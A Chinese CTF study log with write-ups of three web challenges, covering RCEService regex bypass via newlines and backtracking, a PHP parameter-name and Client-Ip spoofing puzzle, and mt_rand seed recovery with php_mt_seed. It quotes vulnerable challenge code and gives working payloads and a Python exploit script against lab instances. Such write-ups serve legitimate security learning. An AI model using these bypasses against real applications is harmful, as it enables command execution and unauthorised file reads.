5月8日学习记录

_[FBCTF2019]RCEService(preg_match函数的绕过)

涉及知识点:preg_match函数绕过,json的格式,正则回溯

打开环境,要求用json的格式输入

搜索学习一下json的语法规则

  • 数组(Array)用方括号(“[]”)表示。
  • 对象(0bject)用大括号(“{}”)表示。
  • 由名称/值对(name/value),组成数组和对象
  • 并列的数据用","分隔
  • 如{"name":"value","admin":"123"}

到大佬的wp剽个源码过来

<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?>

 浅浅的审计一下代码,参数为cmd,通过cmd传入命令后,进行命令执行,但是对于cmd有是否为json形式和内容有判断,对于json解码只要按照json格式写入就行,对于正则匹配的绕过存在两种方法

方法一

因为preg_match函数只会匹配第一行的内容,所以可以利用换行符来进行绕过

cmd={%0a"cmd":"ls /"%0a}

 

对于几个根目录,分别查看,在home中能找到flag

cmd={%0A"cmd":"ls /home/rceservice "%0A

 这题cat命令不能直接使用,要用/bin/cat调用

cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

 

方法二

利用正则回溯来绕过正则匹配

简单说就是利用大量的被正则过滤的数据执行,让正则匹配的次数达到有限次的最大值,从而来绕过正则过滤

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://c472b751-b7a7-4f0d-b20e-1d9af4d7f233.node5.buuoj.cn:81", data={"cmd":payload})
print(res.text)

 

[MRCTF2020]套娃

这题主要涉及的还是正则函数的绕过

打开环境

query = $_SERVER['QUERY_STRING'];if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){die('Y0u are So cutE!');
}if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){echo "you are going to the next ~";
}

 

在第一个if判断中,过滤的"_"和"%5f"

在第二个if判断中,b_u_p_t的值不能为23333,而且正则函数中要求参数的开头和结尾都要是23333

先解决第一个判断中对于"_"和"%5f"的过滤,因为b_u_p_t中带有"_"

关于php中的非法参数名,在php版本小于8时,当变量名中出现空格和点时,会被替换为下划线

比如<input name="a.c">被替换成$_REQUEST["a_c"]

详细的可以参考大佬wp

http://t.csdnimg.cn/4nDYD

所以用b.u.p.t来绕过

至于第二个判断,还是用换行符来绕过,这样匹配到的第一行就只有23333,头尾都是23333

b.u.p.t=23333%0a

 

访问新页面,新页面中明确表示flag就在这里,但是没有权限,要本地访问

 这里我的第一反应是用X-Forwarded-For

但是用了以后还是显示没有权限

用了第二种方法:Client-Ip:127.0.0.1

抓包,改ip

ok,成功修改为本地,而且还有一串js代码,用在线工具跑一下

post传入一个Merak参数,拿到一串源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

审计之后,大致能知道flag大概率在flag.php中,通过file_get_contents读取,但是存在一个change方法,把$v的ACill值+$i*2, 要保证$v的值不被改变,只要反向一下change方法就行

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{$re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

 

除此外,还要满足传入2333参数中存在文件内容为 "todat is a happy day",用data伪协议

?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

传参后抓包修改为本地

[GWCTF 2019]枯燥的抽奖(伪随机数)

给出一部分字符串,需要猜出20位的字符串

 

访问一下check.php看看

 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){if($_POST['num']===$str){echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";}else{echo "<p id=flag>没抽中哦,再试试吧</p>";}
}
show_source("check.php"); 

可以看到字符串是通过mt_srand生成的

mt_srand是一种伪随机数生成算法,是根据种子来生成数的

一个种子对应的一组随机数,而一组随机数也对应一个种子

所以在知道种子的情况下可以求随机数,在知道随机数的情况下可以求种子

题目已知部分随机数,先求出种子

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='iypUqMtJZQ'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break
print(res)

 跑出php_mt_seed的参数,用php_mt_seed工具运行拿到种子

time ./php_mt_seed 8 8 0 61 24 24 0 61 15 15 0 61 56 56 0 61 16 16 0 61 48 48 0 61 19 19 0 61 45 45 0 61 61 61 0 61 52 52 0 61  

 种子:532696084

<?php
mt_srand(532696084);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?> 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/679035.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【除了协程还有哪些方式可以实现异步编程】

在Unity中&#xff0c;除了使用协程实现异步编程外&#xff0c;还有以下几种方法&#xff1a; 异步加载资源&#xff1a; 使用UnityWebRequest类进行异步加载资源&#xff0c;这在加载网络资源或动态加载资源时非常有用。 using UnityEngine; using UnityEngine.Networking;…

Linux的虚拟机操作

一、linux系统 我们知道的系统用到的大多数是Windows系统。 Windows个人用到的有&#xff1a;win7 win10 win11 winxp 服务器用到的有&#xff1a;windows server 2003、2008、2013...........等等 linux也有系统。 centos 7 有5、6、8等等 redhat ubuntu kail 二、了…

原码、反码、补码、移码

原码、反码、补码、移码 数值在计算机中的表示为机器数&#xff0c;特点是采用二进制来表示。 对于n位的机器数其表示编码有原码、反码、补码、移码等表示。 以下均假设n8&#xff1a; 1、原码&#xff1a; 最高位为符号位&#xff0c;0表示正号&#xff0c;1表示负号&#x…

PDF转word转ppt软件

下载地址&#xff1a;PDF转word转ppt软件.zip 平时工作生活经常要用到PDF转word转ppt软件&#xff0c;电脑自带的又要开会员啥的很麻烦&#xff0c;现在分享这款软件直接激活就可以免费使用了&#xff0c;超级好用&#xff0c;喜欢的可以下载

长难句打卡5.6

For H&M to offer a $5.95 knit miniskirt in all its 2,300-plus stores around the world, it must rely on low-wage overseas labor, order in volumes that strain natural resources, and use massive amounts of harmful chemicals. 翻译:H&M若要在其全球总共2…

ue引擎游戏开发笔记(35)——为射击添加轨道,并显示落点

1.需求分析&#xff1a; 我们只添加了开枪特效&#xff0c;事实上并没有实际的效果产生例如弹痕&#xff0c;落点等等。所以逐步实现射击的完整化&#xff0c;先从实现落点开始。 2.操作实现&#xff1a; 1.思路&#xff1a;可以这样理解&#xff0c;每次射击的过程是一次由摄…

# 从浅入深 学习 SpringCloud 微服务架构(七)Hystrix(4)

从浅入深 学习 SpringCloud 微服务架构&#xff08;七&#xff09;Hystrix&#xff08;4&#xff09; 一、hystrix&#xff1a;使用 turbine 聚合所有的 hytrix 的监控数据测试。创建父工程 spring_cloud_hystrix_demo&#xff0c;导入相关依赖坐标。并在父工程 spring_cloud_…

阿里云VOD视频点播流程(2)

二、视频点播 1、入门代码 基于OSS原生SDK上传 &#xff0c;参考文档&#xff1a;https://help.aliyun.com/zh/vod/user-guide/upload-media-files-by-using-oss-sdks?spma2c4g.11186623.0.0.1f02273fj4lxNJ 视频点播面向开发者提供了丰富的上传方式&#xff0c;其中上传SDK&…

VitePress快速上手

完整教程&#xff1a;https://blog.share888.top/note/front-end/vitePress/01-vitePress%E5%AE%89%E8%A3%85.html https://blog.share888.top/ VitePress快速上手 官方文档&#xff1a;https://vitepress.dev/zh/guide/markdown VitePress中文网&#xff1a;https://vitejs…

如何购买阿里云99计划的ECS云服务器?99元购买阿里云2核2G3M服务器教程

阿里云助力中小企业和开发者无忧上云的“99计划”中有两款性价比超高的ECS云服务器&#xff0c;2026年3月31日活动结束前新购和续费价格一样。 其中个人和企业新老用户同享的2核2G3M服务器仅需99元/年&#xff08;续费同价&#xff09;&#xff0c;企业新老用户同学的2核4G5M仅…

java报错:使用mybatis plus查询一个只返回一条数据的sql,却报错返回了1000多条

今天遇到一个问题 系统线上问题&#xff0c;经常出现这样的问题&#xff0c;刚重启系统时不报错了&#xff0c;可是运行一段时间又会出现。sql已经写了limit 1&#xff0c;mybatis的debug日志也返回total为1&#xff0c;可是却报错返回了1805条数据 乍一看&#xff0c;感觉太不…

neo4j-5.11.0安装APOC插件or配置允许使用过程的权限

在已经安装好neo4j和jdk的情况下安装apoc组件&#xff0c;之前使用neo4j-community-4.4.30&#xff0c;可以找到配置apoc-4.4.0.22-all.jar&#xff0c;但是高版本neo4j对应没有apoc-X.X.X-all.jar。解决如下所示&#xff1a; 1.安装好JDK与neo4j 已经安装对应版本的JDK 17.0…